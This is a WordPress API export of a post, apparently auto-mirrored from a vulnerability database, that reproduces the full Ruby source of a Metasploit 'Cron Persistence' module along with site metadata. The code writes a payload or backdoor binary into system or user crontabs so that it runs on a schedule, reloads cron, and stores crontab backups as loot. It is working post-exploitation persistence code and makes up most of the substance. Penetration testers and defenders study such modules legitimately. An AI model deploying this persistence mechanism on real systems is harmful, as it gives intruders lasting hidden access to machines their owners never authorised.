{"id":18006,"date":"2025-09-18T15:35:43","date_gmt":"2025-09-18T15:35:43","guid":{"rendered":"http:\/\/localhost\/?p=18006"},"modified":"2025-09-18T15:35:43","modified_gmt":"2025-09-18T15:35:43","slug":"cron-persistence","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=18006","title":{"rendered":"Cron Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-CRON-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-09-18T19:49:09&#8243;,&#8221;description&#8221;:&#8221;This module will create a cron or crontab entry to execute a payload.           The module includes the ability to automatically clean up those entries to prevent multiple executions.    &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-09-18T18:52:48&#8243;,&#8221;modified&#8221;:&#8221;2025-09-18T18:52:48&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Cron Persistence&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-MULTI-PERSISTENCE-CRON-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Local\\n  Rank = ExcellentRanking\\n\\n  include Msf::Post::File\\n  include Msf::Post::Unix\\n  include Msf::Exploit::EXE # for generate_payload_exe\\n  include Msf::Exploit::FileDropper\\n  include Msf::Exploit::Local::Persistence\\n  prepend Msf::Exploit::Remote::AutoCheck\\n  include Msf::Exploit::Deprecated\\n  moved_from &#8216;exploits\/linux\/local\/cron_persistence&#8217;\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;Cron Persistence&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module will create a cron or crontab entry to execute a payload.\\n          The module includes the ability to automatically clean up those entries to prevent multiple executions.\\n          syslog will get a copy of the cron entry.\\n          Verified on Ubuntu 22.04.1, MacOS 13.7.4\\n        },\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;h00die \\u003cmike@shorebreaksecurity.com\\u003e&#8217;\\n        ],\\n        &#8216;Platform&#8217; =\\u003e [&#8216;unix&#8217;, &#8216;linux&#8217;, &#8216;osx&#8217;],\\n        &#8216;Targets&#8217; =\\u003e [\\n          [ &#8216;Cron&#8217;, { path: &#8216;\/etc\/cron.d&#8217; } ],\\n          [ &#8216;User Crontab&#8217;, { path: &#8216;\/var\/spool\/cron\/crontabs&#8217; } ],\\n          [ &#8216;OSX User Crontab&#8217;, { path: &#8216;\/var\/at\/tabs\/&#8217; } ],\\n          [ &#8216;System Crontab&#8217;, { path: &#8216;\/etc\/crontab&#8217; } ]\\n        ],\\n        &#8216;DefaultTarget&#8217; =\\u003e 1,\\n        &#8216;Arch&#8217; =\\u003e [\\n          ARCH_CMD,\\n          ARCH_X86,\\n          ARCH_X64,\\n          ARCH_ARMLE,\\n          ARCH_AARCH64,\\n          ARCH_PPC,\\n          ARCH_MIPSLE,\\n          ARCH_MIPSBE\\n        ],\\n        &#8216;SessionTypes&#8217; =\\u003e [ &#8216;shell&#8217;, &#8216;meterpreter&#8217; ],\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;1979-07-01&#8217;, # Version 7 Unix release date (first cron implementation)\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;ATT\\u0026CK&#8217;, Mitre::Attack::Technique::T1053_003_CRON]\\n        ],\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION, EVENT_DEPENDENT],\\n          &#8216;SideEffects&#8217; =\\u003e [ARTIFACTS_ON_DISK, CONFIG_CHANGES]\\n        }\\n      )\\n    )\\n\\n    register_options(\\n      [\\n        OptString.new(&#8216;USER&#8217;, [false, &#8216;User to run cron\/crontab as&#8217;, &#8221;], conditions: [&#8216;Targets&#8217;, &#8216;in&#8217;, [&#8216;User Crontab&#8217;, &#8216;OSX User Crontab&#8217;]]),\\n        OptString.new(&#8216;TIMING&#8217;, [false, &#8216;Cron timing. Changing will require WfsDelay to be adjusted&#8217;, &#8216;* * * * *&#8217;]),\\n        OptString.new(&#8216;PAYLOAD_NAME&#8217;, [false, &#8216;Name of the payload file to write&#8217;]),\\n      ]\\n    )\\n  end\\n\\n  def check\\n    # https:\/\/gist.github.com\/istvanp\/310203 for cron regex validator\\n    cron_regex = &#8216;(\\\\*|[0-5]?[0-9]|\\\\*\\\\\/[0-9]+)\\\\s+&#8217;\\n    cron_regex \\u003c\\u003c &#8216;(\\\\*|1?[0-9]|2[0-3]|\\\\*\\\\\/[0-9]+)\\\\s+&#8217;\\n    cron_regex \\u003c\\u003c &#8216;(\\\\*|[1-2]?[0-9]|3[0-1]|\\\\*\\\\\/[0-9]+)\\\\s+&#8217;\\n    cron_regex \\u003c\\u003c &#8216;(\\\\*|[0-9]|1[0-2]|\\\\*\\\\\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\\\\s+&#8217;\\n    cron_regex \\u003c\\u003c &#8216;(\\\\*\\\\\/[0-9]+|\\\\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)&#8217; # \\\\s*\\n    # cron_regex \\u003c\\u003c &#8216;(\\\\*\\\\\/[0-9]+|\\\\*|[0-9]+)?&#8217;\\n\\n    return CheckCode::Unknown(&#8216;Invalid timing format&#8217;) unless datastore[&#8216;TIMING&#8217;] =~ \/#{cron_regex}\/\\n\\n    return CheckCode::Safe(\\&#8221;#{target.opts[:path]} doesn&#8217;t exist\\&#8221;) unless exists?(target.opts[:path])\\n    # it may not be directly writable, but we can use crontab to write it for us\\n    if !writable?(target.opts[:path]) \\u0026\\u0026 !command_exists?(&#8216;crontab&#8217;)\\n      return CheckCode::Safe(\\&#8221;Can&#8217;t write to: #{target.opts[:path]} or crontab not found\\&#8221;)\\n    end\\n\\n    if target.name == &#8216;User Crontab&#8217; \\u0026\\u0026 !user_cron_permission?(target_user)\\n      return CheckCode::Unknown(&#8216;User denied cron via cron.deny&#8217;)\\n    end\\n\\n    CheckCode::Appears(&#8216;Cron timing is valid, no cron.deny entries found&#8217;)\\n  end\\n\\n  def target_user\\n    return datastore[&#8216;USER&#8217;] unless datastore[&#8216;USER&#8217;].blank?\\n\\n    whoami\\n  end\\n\\n  def user_cron_permission?(user)\\n    # double check we&#8217;re allowed to do cron\\n    # may also be \/etc\/cron.d\/\\n    paths = [&#8216;\/etc\/&#8217;, &#8216;\/etc\/cron.d\/&#8217;]\\n    paths.each do |path|\\n      if readable?(\\&#8221;#{path}cron.allow\\&#8221;)\\n        cron_auth = read_file(\\&#8221;#{path}cron.allow\\&#8221;)\\n        if cron_auth \\u0026\\u0026 (cron_auth =~ \/^ALL$\/ || cron_auth =~ \/^#{Regexp.escape(user)}$\/)\\n          vprint_good(\\&#8221;User located in #{path}cron.allow\\&#8221;)\\n          return true\\n        end\\n      end\\n      next unless readable?(\\&#8221;#{path}cron.deny\\&#8221;)\\n\\n      cron_auths = read_file(\\&#8221;#{path}cron.deny\\&#8221;)\\n      if cron_auths \\u0026\\u0026 cron_auth =~ \/^#{Regexp.escape(user)}$\/\\n        vprint_error(\\&#8221;User located in #{path}cron.deny\\&#8221;)\\n        return false\\n      end\\n    end\\n    # no guidance, so we should be fine\\n    true\\n  end\\n\\n  def install_persistence\\n    cron_entry = datastore[&#8216;TIMING&#8217;]\\n    cron_entry += \\&#8221; #{target_user}\\&#8221; unless [&#8216;User Crontab&#8217;, &#8216;OSX User Crontab&#8217;].include?(target.name)\\n    if payload.arch.first == &#8216;cmd&#8217;\\n      payload_info[&#8216;BadChars&#8217;] = \\&#8221;#%\\\\x10\\\\x13\\&#8221;\\n      cron_entry += \\&#8221; #{regenerate_payload.encoded}\\&#8221;\\n      payload_info.delete(&#8216;BadChars&#8217;)\\n    else\\n      file_name = datastore[&#8216;PAYLOAD_NAME&#8217;] || Rex::Text.rand_text_alpha(5..10)\\n      backdoor = \\&#8221;#{writable_dir}\/#{file_name}\\&#8221;\\n      vprint_status(\\&#8221;Writing backdoor to #{backdoor}\\&#8221;)\\n      upload_and_chmodx backdoor, generate_payload_exe\\n      cron_entry += \\&#8221; #{backdoor}\\&#8221;\\n    end\\n\\n    case target.name\\n    when &#8216;Cron&#8217;\\n      our_entry = Rex::Text.rand_text_alpha(8..15)\\n      write_file(\\&#8221;#{target.opts[:path]}\/#{our_entry}\\&#8221;, \\&#8221;#{cron_entry}\\\\n\\&#8221;)\\n      vprint_good(\\&#8221;Writing #{cron_entry} to #{target.opts[:path]}\/#{our_entry}\\&#8221;)\\n      @clean_up_rc \\u003c\\u003c \\&#8221;rm #{target.opts[:path]}\/#{our_entry}\\\\n\\&#8221;\\n\\n    when &#8216;System Crontab&#8217;\\n      file_to_clean = target.opts[:path].to_s\\n      crontab_backup = store_crontab_backup(file_to_clean, &#8216;system crontab backup&#8217;)\\n\\n      append_file(file_to_clean, \\&#8221;\\\\n#{cron_entry}\\\\n\\&#8221;)\\n      vprint_good(\\&#8221;Writing #{cron_entry} to #{file_to_clean}\\&#8221;)\\n      @clean_up_rc \\u003c\\u003c \\&#8221;upload #{crontab_backup} #{file_to_clean}\\\\n\\&#8221;\\n\\n    when &#8216;User Crontab&#8217;, &#8216;OSX User Crontab&#8217;\\n      path = target.opts[:path]\\n      if !writable?(path)\\n        print_status(\\&#8221;Utilizing crontab since we can&#8217;t write to #{path}\\&#8221;)\\n        cmd_exec(\\&#8221;echo \\\\\\&#8221;#{cron_entry}\\\\\\&#8221; | crontab -\\&#8221;)\\n      else\\n        file_to_clean = \\&#8221;#{path}\/#{target_user}\\&#8221;\\n\\n        crontab_backup = store_crontab_backup(file_to_clean, &#8216;user crontab backup&#8217;)\\n        append_file(file_to_clean, \\&#8221;\\\\n#{cron_entry}\\\\n\\&#8221;)\\n        vprint_good(\\&#8221;Writing #{cron_entry} to #{file_to_clean}\\&#8221;)\\n        # at least on ubuntu, we need to reload cron to get this to work\\n        vprint_status(&#8216;Reloading cron to pickup new entry&#8217;)\\n\\n        cmd_exec(&#8216;service cron reload&#8217;) if target.name == &#8216;User Crontab&#8217;\\n        @clean_up_rc \\u003c\\u003c \\&#8221;upload #{crontab_backup} #{file_to_clean}\\\\n\\&#8221;\\n      end\\n    end\\n    print_good(&#8216;Payload will be triggered when cron time is reached&#8217;)\\n  end\\n\\n  def store_crontab_backup(path, desc)\\n    crontab_backup_content = read_file(path)\\n    location = store_loot(\\&#8221;crontab.#{path.split(&#8216;\/&#8217;).last}\\&#8221;,\\n                          &#8216;text\/plain&#8217;, session, crontab_backup_content,\\n                          path.split(&#8216;\/&#8217;).last, desc)\\n    vprint_good(\\&#8221;Backed up #{path} to #{location}\\&#8221;)\\n    location\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/multi\/persistence\/cron.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/multi\/persistence\/cron\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-09-18T19:49:09&#8243;,&#8221;description&#8221;:&#8221;This module will create a cron or crontab entry to execute a payload. The module includes the ability to automatically clean up those entries to&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-18006","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Cron Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-CRON- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=18006\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Cron Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-CRON- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-09-18T19:49:09&#8243;,&#8221;description&#8221;:&#8221;This module will create a cron or crontab entry to execute a payload. The module includes the ability to automatically clean up those entries to...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=18006\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-09-18T15:35:43+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=18006#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=18006\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Cron Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-CRON-\",\"datePublished\":\"2025-09-18T15:35:43+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=18006\"},\"wordCount\":1259,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"metasploit\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=18006#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=18006\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=18006\",\"name\":\"Cron Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-CRON- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-09-18T15:35:43+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=18006#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=18006\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=18006#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Cron Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-CRON-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Cron Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-CRON- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=18006","og_locale":"en_US","og_type":"article","og_title":"Cron Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-CRON- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-09-18T19:49:09&#8243;,&#8221;description&#8221;:&#8221;This module will create a cron or crontab entry to execute a payload. The module includes the ability to automatically clean up those entries to...","og_url":"https:\/\/zero.redgem.net\/?p=18006","og_site_name":"zero redgem","article_published_time":"2025-09-18T15:35:43+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=18006#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=18006"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Cron Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-CRON-","datePublished":"2025-09-18T15:35:43+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=18006"},"wordCount":1259,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","metasploit","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=18006#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=18006","url":"https:\/\/zero.redgem.net\/?p=18006","name":"Cron Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-CRON- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-09-18T15:35:43+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=18006#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=18006"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=18006#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Cron Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-CRON-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/18006","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=18006"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/18006\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=18006"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=18006"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=18006"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}